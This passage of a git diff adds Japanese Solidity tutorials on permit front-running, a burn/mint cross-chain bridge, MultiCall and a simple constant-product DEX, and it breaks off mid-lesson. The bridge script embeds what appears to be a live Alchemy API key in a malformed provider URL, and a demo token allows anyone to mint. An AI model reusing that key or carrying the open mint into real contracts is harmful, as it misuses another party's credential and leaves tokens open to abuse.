+同時に、一部のコントラクトが`permit`を統合する際にも、DoS(サービス拒否)のリスクをもたらします。`permit`は実行時に現在の`nonce`値を使用するため、コントラクトの関数に`permit`操作が含まれている場合、攻撃者は先行実行で`permit`を実行し、`nonce`が占有されるため目標トランザクションがロールバックされることがあります。 + +## まとめ + +今回は、ERC20PermitというERC20トークン標準の拡張について紹介しました。これにより、ユーザーはオフチェーン署名による承認操作を使用でき、ユーザーエクスペリエンスが改善され、多くのプロジェクトで採用されています。しかし同時に、より大きなリスクももたらし、一つの署名であなたの資産が持ち去られる可能性があります。署名時にはより慎重になることが重要です。 \ No newline at end of file diff --git a/Languages/ja/54_CrossChainBridge_ja/readme.md b/Languages/ja/54_CrossChainBridge_ja/readme.md new file mode 100644 index 000000000..f522710b1 --- /dev/null +++ b/Languages/ja/54_CrossChainBridge_ja/readme.md @@ -0,0 +1,196 @@ +--- +title: 54. クロスチェーンブリッジ +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Solidity 超シンプル入門: 54. クロスチェーンブリッジ + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、資産をあるブロックチェーンから別のブロックチェーンに転送できる基盤インフラであるクロスチェーンブリッジについて紹介し、シンプルなクロスチェーンブリッジを実装します。 + +## 1. クロスチェーンブリッジとは + +クロスチェーンブリッジは、2つ以上のブロックチェーン間でデジタル資産と情報を移動できるブロックチェーンプロトコルです。例えば、イーサリアムメインネット上で動作するERC20トークンは、クロスチェーンブリッジを通じて他のイーサリアム互換サイドチェーンや独立チェーンに転送できます。 + +同時に、クロスチェーンブリッジはブロックチェーンでネイティブにサポートされているわけではなく、クロスチェーン操作には信頼できる第三者が実行する必要があり、これもリスクをもたらします。近年、クロスチェーンブリッジに対する攻撃により、すでに**20億ドル**を超えるユーザー資産の損失が発生しています。 + +## 2. クロスチェーンブリッジの種類 + +クロスチェーンブリッジには主に以下の3つのタイプがあります: + +- **Burn/Mint**: ソースチェーンでトークンを燃焼(burn)し、ターゲットチェーンで同等の数量のトークンを作成(mint)します。この方法の利点は、トークンの総供給量が変わらないことですが、クロスチェーンブリッジがトークンの鋳造権限を持つ必要があり、プロジェクト側が独自のクロスチェーンブリッジを構築するのに適しています。 + + ![](./img/54-1.png) + +- **Stake/Mint**: ソースチェーンでトークンをロック(stake)し、ターゲットチェーンで同等の数量のトークン(証明書)を作成(mint)します。ソースチェーンのトークンはロックされ、トークンがターゲットチェーンからソースチェーンに戻される際に再びアンロックされます。これは一般的なクロスチェーンブリッジで使用される方案で、権限は必要ありませんが、リスクも大きく、ソースチェーンの資産がハッカーに攻撃された場合、ターゲットチェーン上の証明書は価値のないものになります。 + + ![](./img/54-2.png) + +- **Stake/Unstake**: ソースチェーンでトークンをロック(stake)し、ターゲットチェーンで同等の数量のトークンを解放(unstake)します。ターゲットチェーン上のトークンはいつでもソースチェーンのトークンと交換できます。この方法では、クロスチェーンブリッジが両方のチェーンでロックされたトークンを持つ必要があり、閾値が高く、一般的にユーザーがクロスチェーンブリッジでトークンをロックするインセンティブが必要です。 + + ![](./img/54-3.png) + +## 3. シンプルなクロスチェーンブリッジの構築 + +このクロスチェーンブリッジをより良く理解するため、シンプルなクロスチェーンブリッジを構築し、GoerliテストネットとSepoliaテストネット間でのERC20トークン転送を実装します。burn/mint方式を使用し、ソースチェーン上のトークンが破棄され、ターゲットチェーン上で作成されます。このクロスチェーンブリッジは、スマートコントラクト(両方のチェーンにデプロイ)とEthers.jsスクリプトで構成されます。 + +> **注意してください**、これは非常にシンプルなクロスチェーンブリッジの実装で、教育目的のみです。トランザクション失敗、チェーンの再編成などの可能性のある問題を処理していません。本番環境では、専門的なクロスチェーンブリッジソリューションまたは他の十分にテストされ、監査されたフレームワークの使用を推奨します。 + +### 3.1 クロスチェーントークンコントラクト + +まず、GoerliとSepoliaテストネットにERC20トークンコントラクト `CrossChainToken` をデプロイする必要があります。このコントラクトでは、トークンの名前、シンボル、総供給量を定義し、クロスチェーン転送用の `bridge()` 関数があります。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Bridgeイベント + event Bridge(address indexed user, uint256 amount); + // Mintイベント + event Mint(address indexed to, uint256 amount); + + /** + * @param name トークン名 + * @param symbol トークンシンボル + * @param totalSupply トークン供給量 + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) Ownable(msg.sender) { + _mint(msg.sender, totalSupply); + } + + /** + * Bridge関数 + * @param amount: 現在のチェーンでburnし、他のチェーンでmintするトークン数量 + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Mint関数 + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} +``` + +このコントラクトには3つの主要な関数があります: + +- `constructor()`: コンストラクタで、コントラクトデプロイ時に一度呼び出され、トークンの名前、シンボル、総供給量を初期化します。 + +- `bridge()`: ユーザーがこの関数を呼び出してクロスチェーン転送を行います。指定された数量のトークンを破棄し、`Bridge`イベントを発行します。 + +- `mint()`: コントラクトの所有者のみが呼び出せる関数で、クロスチェーンイベントを処理し、`Mint`イベントを発行します。ユーザーが別のチェーンで`bridge()`関数を呼び出してトークンを破棄すると、スクリプトが`Bridge`イベントを監視し、ユーザーにターゲットチェーンでトークンを鋳造します。 + +### 3.2 クロスチェーンスクリプト + +トークンコントラクトの後、クロスチェーンイベントを処理するサーバーが必要です。ethers.jsスクリプト(v6版)を書いて`Bridge`イベントを監視し、イベントがトリガーされた際にターゲットチェーンで同数のトークンを作成できます。Ethers.jsについて詳しくない場合は、[WTF Ethers極簡教程](https://github.com/WTFAcademy/WTF-Ethers)を読むことができます。 + +```javascript +import { ethers } from "ethers"; + +// 2つのチェーンのproviderを初期化 +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +// 2つのチェーンのsignerを初期化 +// privateKeyに管理者ウォレットの秘密鍵を入力 +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +// コントラクトアドレスとABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +// コントラクトインスタンスを初期化 +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`クロスチェーンイベントの監視を開始`) + + // chain SepoliaのBridgeイベントを監視し、Goerli上でmint操作を実行してクロスチェーンを完了 + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Chain SepoliaでBridgeイベント: ユーザー ${user} が ${amount} トークンをburn`); + + // Goerli上でmint操作を実行 + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Chain Goerliで ${user} に ${amount} トークンをmint`); + }); + + // chain GoerliのBridgeイベントを監視し、Sepolia上でmint操作を実行してクロスチェーンを完了 + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Chain GoerliでBridgeイベント: ユーザー ${user} が ${amount} トークンをburn`); + + // Sepolia上でmint操作を実行 + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Chain Sepoliaで ${user} に ${amount} トークンをmint`); + }); + } catch(e) { + console.log(e); + } +} + +main(); +``` + +## Remix復現 + +1. GoerliとSepoliaテストチェーンでそれぞれ`CrossChainToken`コントラクトをデプロイし、コントラクトが自動的に10000枚のトークンを鋳造します + + ![](./img/54-4.png) + +2. クロスチェーンスクリプト `crosschain.js` のRPCノードURLと管理者秘密鍵を補完し、GoerliとSepoliaにデプロイしたトークンコントラクトアドレスを対応する場所に記入し、スクリプトを実行します。 + +3. Goerliチェーン上のトークンコントラクトの`bridge()`関数を呼び出し、100枚のトークンをクロスチェーンします。 + + ![](./img/54-6.png) + +4. スクリプトがクロスチェーンイベントを監視し、Sepoliaチェーン上で100枚のトークンを鋳造します。 + + ![](./img/54-7.png) + +5. Sepoliaチェーン上で`balance()`を呼び出して残高を確認すると、トークン残高が10100枚になり、クロスチェーンが成功しました! + + ![](./img/54-8.png) + +## まとめ + +今回はクロスチェーンブリッジについて紹介しました。これは2つ以上のブロックチェーン間でデジタル資産と情報を移動できるもので、ユーザーがマルチチェーンで資産を操作する際の利便性を提供します。同時に、大きなリスクもあり、近年クロスチェーンブリッジに対する攻撃により、すでに**20億ドル**を超えるユーザー資産の損失が発生しています。本チュートリアルでは、シンプルなクロスチェーンブリッジを構築し、GoerliテストネットとSepoliaテストネット間でのERC20トークン転送を実装しました。このチュートリアルを通じて、クロスチェーンブリッジについてより深く理解していただけると信じています。 \ No newline at end of file diff --git a/Languages/ja/55_MultiCall_ja/readme.md b/Languages/ja/55_MultiCall_ja/readme.md new file mode 100644 index 000000000..4be8c0236 --- /dev/null +++ b/Languages/ja/55_MultiCall_ja/readme.md @@ -0,0 +1,135 @@ +--- +title: 55. マルチコール +tags: + - solidity + - erc20 +--- + +# WTF Solidity 超シンプル入門: 55. マルチコール + +最近、Solidity の学習を再開し、詳細を確認しながら「Solidity 超シンプル入門」を作っています。これは初心者向けのガイドで、プログラミングの達人向けの教材ではありません。毎週 1〜3 レッスンのペースで更新していきます。 + +僕のツイッター:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのソースコードやレッスンは github にて公開: [github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +今回は、MultiCall マルチコールコントラクトについて紹介します。その設計目的は、1つのトランザクションで複数の関数呼び出しを実行することで、トランザクション手数料を大幅に削減し、効率性を向上させることです。 + +## MultiCall + +Solidityにおいて、MultiCall(マルチコール)コントラクトの設計により、1つのトランザクションで複数の関数呼び出しを実行できます。その利点は以下の通りです: + +1. 利便性:MultiCallにより、1つのトランザクションで異なるコントラクトの異なる関数を異なるパラメータで呼び出すことができます。例えば、複数のアドレスのERC20トークン残高を一度にクエリできます。 + +2. ガス節約:MultiCallは複数のトランザクションを1つのトランザクション内の複数の呼び出しに統合し、ガスを節約できます。 + +3. 原子性:MultiCallにより、ユーザーは1つのトランザクションですべての操作を実行でき、すべての操作が成功するか、すべて失敗するかを保証し、原子性を維持します。例えば、特定の順序で一連のトークン取引を行うことができます。 + +## MultiCall コントラクト + +次に、MultiCallコントラクトを一緒に研究しましょう。これは MakerDAO の [MultiCall](https://github.com/mds1/multicall/blob/main/src/Multicall3.sol) を簡略化したものです。 + +MultiCall コントラクトは2つの構造体を定義しています: + +- `Call`: これは呼び出し構造体で、呼び出すターゲットコントラクト `target`、呼び出し失敗を許可するかどうかを示すフラグ `allowFailure`、呼び出すバイトコード `call data` を含みます。 + +- `Result`: これは結果構造体で、呼び出しが成功したかどうかを示すフラグ `success` と呼び出しが返すバイトコード `return data` を含みます。 + +このコントラクトにはマルチコールを実行する関数が1つだけ含まれています: + +- `multicall()`: この関数のパラメータはCall構造体で構成される配列で、targetとdataの長さが一致することを保証します。関数はループを通じて複数の呼び出しを実行し、呼び出しが失敗した際にトランザクションをロールバックします。 + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +contract Multicall { + // Call構造体、ターゲットコントラクトtarget、呼び出し失敗を許可するかallowFailure、call dataを含む + struct Call { + address target; + bool allowFailure; + bytes callData; + } + + // Result構造体、呼び出しが成功したかとreturn dataを含む + struct Result { + bool success; + bytes returnData; + } + + /// @notice 複数の呼び出し(異なるコントラクト/異なるメソッド/異なるパラメータに対応)を1つの呼び出しに統合 + /// @param calls Call構造体で構成される配列 + /// @return returnData Result構造体で構成される配列 + function multicall(Call[] calldata calls) public returns (Result[] memory returnData) { + uint256 length = calls.length; + returnData = new Result[](length); + Call calldata calli; + + // ループで順次呼び出し + for (uint256 i = 0; i < length; i++) { + Result memory result = returnData[i]; + calli = calls[i]; + (result.success, result.returnData) = calli.target.call(calli.callData); + // calli.allowFailureとresult.successがともにfalseの場合、revert + if (!(calli.allowFailure || result.success)){ + revert("Multicall: call failed"); + } + } + } +} +``` + +## Remix復現 + +1. まず、非常にシンプルなERC20トークンコントラクト `MCERC20` をデプロイし、コントラクトアドレスを記録します。 + + ```solidity + // SPDX-License-Identifier: MIT + pragma solidity ^0.8.19; + import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + + contract MCERC20 is ERC20{ + constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_){} + + function mint(address to, uint amount) external { + _mint(to, amount); + } + } + ``` + +2. `MultiCall` コントラクトをデプロイします。 + +3. 呼び出す`calldata`を取得します。2つのアドレスにそれぞれ50と100単位のトークンを鋳造します。remixの呼び出しページで`mint()`のパラメータを入力し、**Calldata** ボタンをクリックして、エンコードされたcalldataをコピーできます。例: + + ```solidity + to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + amount: 50 + calldata: 0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032 + ``` + + ![](./img/55-1.png) + + `calldata`について詳しくない場合は、WTF Solidityの[第29講]を読むことができます。 + +4. `MultiCall` の `multicall()` 関数を使用してERC20トークンコントラクトの `mint()` 関数を呼び出し、2つのアドレスにそれぞれ50と100単位のトークンを鋳造します。例: + + ```solidity + calls: [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x40c10f190000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc40000000000000000000000000000000000000000000000000000000000000032"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x40c10f19000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb20000000000000000000000000000000000000000000000000000000000000064"]] + ``` + +5. `MultiCall` の `multicall()` 関数を使用してERC20トークンコントラクトの `balanceOf()` 関数を呼び出し、先ほど鋳造した2つのアドレスの残高をクエリします。`balanceOf()`関数のselectorは`0x70a08231`です。例: + + ```solidity + [["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", true, "0x70a082310000000000000000000000005b38da6a701c568545dcfcb03fcb875f56beddc4"], ["0x0fC5025C764cE34df352757e82f7B5c4Df39A836", false, "0x70a08231000000000000000000000000ab8483f64d9c6d1ecf9b849ae677dd3315835cb2"]] + ``` + + `decoded output`で呼び出しの戻り値を確認できます。2つのアドレスの残高はそれぞれ `0x0000000000000000000000000000000000000000000000000000000000000032` と `0x0000000000000000000000000000000000000000000000000000000000000064`、つまり50と100で、呼び出し成功です! + ![](./img/55-2.png) + +## まとめ + +今回は、MultiCall マルチコールコントラクトについて紹介しました。これにより、1つのトランザクションで複数の関数呼び出しを実行できます。注意すべきは、異なるMultiCallコントラクトでは、パラメータと実行ロジックに多少の違いがあるため、使用時にはソースコードを注意深く読む必要があることです。 \ No newline at end of file diff --git a/Languages/ja/56_DEX_ja/SimpleSwap.sol b/Languages/ja/56_DEX_ja/SimpleSwap.sol new file mode 100644 index 000000000..db55392eb --- /dev/null +++ b/Languages/ja/56_DEX_ja/SimpleSwap.sol @@ -0,0 +1,157 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; + +contract SimpleSwap is ERC20 { + // トークンコントラクト + IERC20 public token0; + IERC20 public token1; + + // トークン準備金 + uint public reserve0; + uint public reserve1; + + // イベント + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1); + event Swap( + address indexed sender, + uint amountIn, + address tokenIn, + uint amountOut, + address tokenOut + ); + + // コンストラクタ、トークンアドレスを初期化 + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } + + // 2つの数の最小値を取得 + function min(uint x, uint y) internal pure returns (uint z) { + z = x < y ? x : y; + } + + // 平方根を計算 babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) + function sqrt(uint y) internal pure returns (uint z) { + if (y > 3) { + z = y; + uint x = y / 2 + 1; + while (x < z) { + z = x; + x = (y / x + x) / 2; + } + } else if (y != 0) { + z = 1; + } + } + + // 流動性を追加、トークンを転送、LPをミント + // 初回追加の場合、ミントされるLP数量 = sqrt(amount0 * amount1) + // 初回以外の場合、ミントされるLP数量 = min(amount0/reserve0, amount1/reserve1)* totalSupply_LP + // @param amount0Desired 追加するtoken0の数量 + // @param amount1Desired 追加するtoken1の数量 + function addLiquidity(uint amount0Desired, uint amount1Desired) public returns(uint liquidity){ + // 追加する流動性をSwapコントラクトに転送、事前にSwapコントラクトに承認が必要 + token0.transferFrom(msg.sender, address(this), amount0Desired); + token1.transferFrom(msg.sender, address(this), amount1Desired); + // 追加する流動性を計算 + uint _totalSupply = totalSupply(); + if (_totalSupply == 0) { + // 初回流動性追加の場合、L = sqrt(x * y) 単位のLP(流動性プロバイダー)トークンをミント + liquidity = sqrt(amount0Desired * amount1Desired); + } else { + // 初回以外の場合、追加するトークン数量の比率でLPをミント、2つのトークンのうち小さい方の比率を取る + liquidity = min(amount0Desired * _totalSupply / reserve0, amount1Desired * _totalSupply /reserve1); + } + + // ミントされるLP数量をチェック + require(liquidity > 0, 'INSUFFICIENT_LIQUIDITY_MINTED'); + + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + // 流動性プロバイダーにLPトークンをミント、提供した流動性を表す + _mint(msg.sender, liquidity); + + emit Mint(msg.sender, amount0Desired, amount1Desired); + } + + // 流動性を除去、LPを焼却、トークンを転送 + // 転送数量 = (liquidity / totalSupply_LP) * reserve + // @param liquidity 除去する流動性数量 + function removeLiquidity(uint liquidity) external returns (uint amount0, uint amount1) { + // 残高を取得 + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + // LPの比率に応じて転送するトークン数量を計算 + uint _totalSupply = totalSupply(); + amount0 = liquidity * balance0 / _totalSupply; + amount1 = liquidity * balance1 / _totalSupply; + // トークン数量をチェック + require(amount0 > 0 && amount1 > 0, 'INSUFFICIENT_LIQUIDITY_BURNED'); + // LPを焼却 + _burn(msg.sender, liquidity); + // トークンを転送 + token0.transfer(msg.sender, amount0); + token1.transfer(msg.sender, amount1); + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Burn(msg.sender, amount0, amount1); + } + + // アセットの数量とトークンペアの準備金が与えられた場合、交換する他のトークンの数量を計算 + // 積が一定のため + // 交換前: k = x * y + // 交換後: k = (x + delta_x) * (y + delta_y) + // delta_y = - delta_x * y / (x + delta_x) が得られる + // 正/負号は転入/転出を表す + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure returns (uint amountOut) { + require(amountIn > 0, 'INSUFFICIENT_AMOUNT'); + require(reserveIn > 0 && reserveOut > 0, 'INSUFFICIENT_LIQUIDITY'); + amountOut = amountIn * reserveOut / (reserveIn + amountIn); + } + + // トークンをswap + // @param amountIn 交換に使用するトークン数量 + // @param tokenIn 交換に使用するトークンコントラクトアドレス + // @param amountOutMin 交換して得られる他のトークンの最小数量 + function swap(uint amountIn, IERC20 tokenIn, uint amountOutMin) external returns (uint amountOut, IERC20 tokenOut){ + require(amountIn > 0, 'INSUFFICIENT_OUTPUT_AMOUNT'); + require(tokenIn == token0 || tokenIn == token1, 'INVALID_TOKEN'); + + uint balance0 = token0.balanceOf(address(this)); + uint balance1 = token1.balanceOf(address(this)); + + if(tokenIn == token0){ + // token0をtoken1に交換する場合 + tokenOut = token1; + // 交換できるtoken1数量を計算 + amountOut = getAmountOut(amountIn, balance0, balance1); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 交換を実行 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + }else{ + // token1をtoken0に交換する場合 + tokenOut = token0; + // 交換できるtoken1数量を計算 + amountOut = getAmountOut(amountIn, balance1, balance0); + require(amountOut > amountOutMin, 'INSUFFICIENT_OUTPUT_AMOUNT'); + // 交換を実行 + tokenIn.transferFrom(msg.sender, address(this), amountIn); + tokenOut.transfer(msg.sender, amountOut); + } + + // 準備金を更新 + reserve0 = token0.balanceOf(address(this)); + reserve1 = token1.balanceOf(address(this)); + + emit Swap(msg.sender, amountIn, address(tokenIn), amountOut, address(tokenOut)); + } +} \ No newline at end of file diff --git a/Languages/ja/56_DEX_ja/img/56-1.png b/Languages/ja/56_DEX_ja/img/56-1.png new file mode 100644 index 000000000..3189e4f52 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-1.png differ diff --git a/Languages/ja/56_DEX_ja/img/56-10.jpg b/Languages/ja/56_DEX_ja/img/56-10.jpg new file mode 100644 index 000000000..6b97924d3 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-10.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-11.jpg b/Languages/ja/56_DEX_ja/img/56-11.jpg new file mode 100644 index 000000000..b2a989aca Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-11.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-2.jpg b/Languages/ja/56_DEX_ja/img/56-2.jpg new file mode 100644 index 000000000..244c0cbb0 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-2.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-3.jpg b/Languages/ja/56_DEX_ja/img/56-3.jpg new file mode 100644 index 000000000..6fad30735 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-3.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-4.jpg b/Languages/ja/56_DEX_ja/img/56-4.jpg new file mode 100644 index 000000000..d1129fc04 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-4.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-5.jpg b/Languages/ja/56_DEX_ja/img/56-5.jpg new file mode 100644 index 000000000..f6f731527 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-5.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-6.jpg b/Languages/ja/56_DEX_ja/img/56-6.jpg new file mode 100644 index 000000000..e30fce018 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-6.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-7.jpg b/Languages/ja/56_DEX_ja/img/56-7.jpg new file mode 100644 index 000000000..593d3f32c Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-7.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-8.jpg b/Languages/ja/56_DEX_ja/img/56-8.jpg new file mode 100644 index 000000000..174967259 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-8.jpg differ diff --git a/Languages/ja/56_DEX_ja/img/56-9.jpg b/Languages/ja/56_DEX_ja/img/56-9.jpg new file mode 100644 index 000000000..8475035b1 Binary files /dev/null and b/Languages/ja/56_DEX_ja/img/56-9.jpg differ diff --git a/Languages/ja/56_DEX_ja/readme.md b/Languages/ja/56_DEX_ja/readme.md new file mode 100644 index 000000000..c66df02f1 --- /dev/null +++ b/Languages/ja/56_DEX_ja/readme.md @@ -0,0 +1,474 @@ +--- +title: 56. 分散型取引所 +tags: + - solidity + - erc20 + - defi +--- + +# WTF Solidity極簡入門: 56. 分散型取引所 + +私は最近Solidityを学び直して、細かい部分を固めており、「WTF Solidity極簡入門」を書いて初心者の皆さんに提供しています(プログラミング上級者は他のチュートリアルを探してください)。毎週1-3講ずつ更新しています。 + +Twitter:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) + +コミュニティ:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[公式サイト wtf.academy](https://wtf.academy) + +すべてのコードとチュートリアルはgithubでオープンソース化されています:[github.com/AmazingAng/WTF-Solidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +この講義では、恒定積自動マーケットメーカー(Constant Product Automated Market Maker, CPAMM)について説明します。これは分散型取引所の核心メカニズムであり、Uniswap、PancakeSwapなど一連のDEXで採用されています。教育用コントラクトは[Uniswap-v2](https://github.com/Uniswap/v2-core)コントラクトを簡素化したもので、CPAMMの最も核心的な機能を含んでいます。 + +## 自動マーケットメーカー + +自動マーケットメーカー(Automated Market Maker、略してAMM)は、ブロックチェーン上で動作するアルゴリズム、またはスマートコントラクトの一種であり、デジタル資産間の分散型取引を可能にします。AMMの導入により、従来の買い手と売り手によるオーダーマッチングを必要とせず、予め設定された数学的公式(例:恒定積公式)によって流動性プール(りゅうどうせいプール)を作成し、ユーザーがいつでも取引できる全く新しい取引方法が開拓されました。 + +![](./img/56-1.png) + +次に、コーラ($COLA)と米ドル($USD)の市場を例に、AMMについて説明します。便宜上、記号を定義します:$x$ と $y$ はそれぞれ市場のコーラと米ドルの総量を表し、$\Delta x$ と $\Delta y$ は一回の取引におけるコーラと米ドルの変化量を表し、$L$ と $\Delta L$ は総流動性と流動性の変化量を表します。 + +### 恒定和自動マーケットメーカー + +恒定和自動マーケットメーカー(Constant Sum Automated Market Maker, CSAMM)は最もシンプルな自動マーケットメーカーモデルで、ここから始めます。取引時の制約は以下の通りです: + +$$k=x+y$$ + +ここで $k$ は定数です。つまり、取引前後で市場のコーラと米ドル数量の合計が不変に保たれます。例として、市場の流動性が10本のコーラと10ドルの場合、この時 $k=20$ で、コーラの価格は1ドル/本です。私がとても喉が渇いて、2ドルでコーラを交換したいとします。取引後、市場の米ドル総量は12となり、制約 $k=20$ により、取引後市場には8本のコーラがあり、価格は1ドル/本です。私の取引では2本のコーラを得て、価格は1ドル/本でした。 + +CSAMMの利点は、トークンの相対価格を不変に保てることで、これはステーブルコイン交換において重要です。誰もが1 USDTで常に1 USDCと交換できることを望みます。しかし欠点も明白で、流動性が容易に枯渇してしまうことです:私が10ドルあれば、市場のコーラの流動性を完全に枯渇させ、他のコーラを飲みたいユーザーが取引できなくなってしまいます。 + +次に、「無限」の流動性を持つ恒定積自動マーケットメーカーを紹介します。 + +### 恒定積自動マーケットメーカー + +恒定積自動マーケットメーカー(CPAMM)は最も人気のある自動マーケットメーカーモデルで、最初にUniswapで採用されました。取引時の制約は以下の通りです: + +$$k=x*y$$ + +ここで $k$ は定数です。つまり、取引前後で市場のコーラと米ドル数量の積が不変に保たれます。同じ例で、市場の流動性が10本のコーラと10ドルの場合、この時 $k=100$ で、コーラの価格は1ドル/本です。私がとても喉が渇いて、10ドルでコーラを交換したいとします。CSAMMの場合、私の取引は10本のコーラと交換され、市場のコーラ流動性を枯渇させます。しかしCPAMMでは、取引後市場の米ドル総量は20となり、制約 $k=100$ により、取引後市場には5本のコーラがあり、価格は $20/5 = 4$ ドル/本です。私の取引では5本のコーラを得て、価格は $10/5 = 2$ ドル/本でした。 + +CPAMMの利点は「無限」の流動性を持つことです:トークンの相対価格は売買に応じて変化し、より希少なトークンの相対価格はより高くなり、流動性の枯渇を回避します。上の例では、取引によってコーラが1ドル/本から4ドル/本に上昇し、市場のコーラが買い占められることを防ぎました。 + +以下、CPAMMベースの極簡分散型取引所を構築してみましょう。 + +## 分散型取引所 + +以下、スマートコントラクトで分散型取引所 `SimpleSwap` を作成し、ユーザーが一対のトークンを取引できるようにします。 + +`SimpleSwap` はERC20トークン標準を継承し、流動性プロバイダーが提供した流動性を記録しやすくしています。コンストラクタで、一対のトークンアドレス `token0` と `token1` を指定し、取引所はこのトークンペアのみをサポートします。`reserve0` と `reserve1` はコントラクト内のトークン準備量を記録します。 + +```solidity +contract SimpleSwap is ERC20 { + // トークンコントラクト + IERC20 public token0; + IERC20 public token1; + + // トークン準備金 + uint public reserve0; + uint public reserve1; + + // コンストラクタ、トークンアドレスを初期化 + constructor(IERC20 _token0, IERC20 _token1) ERC20("SimpleSwap", "SS") { + token0 = _token0; + token1 = _token1; + } +} +``` + +取引所には主に2種類の参加者がいます:流動性プロバイダー(Liquidity Provider, LP)とトレーダー(Trader)です。以下、これら2つの部分の機能をそれぞれ実装します。 + +### 流動性提供 + 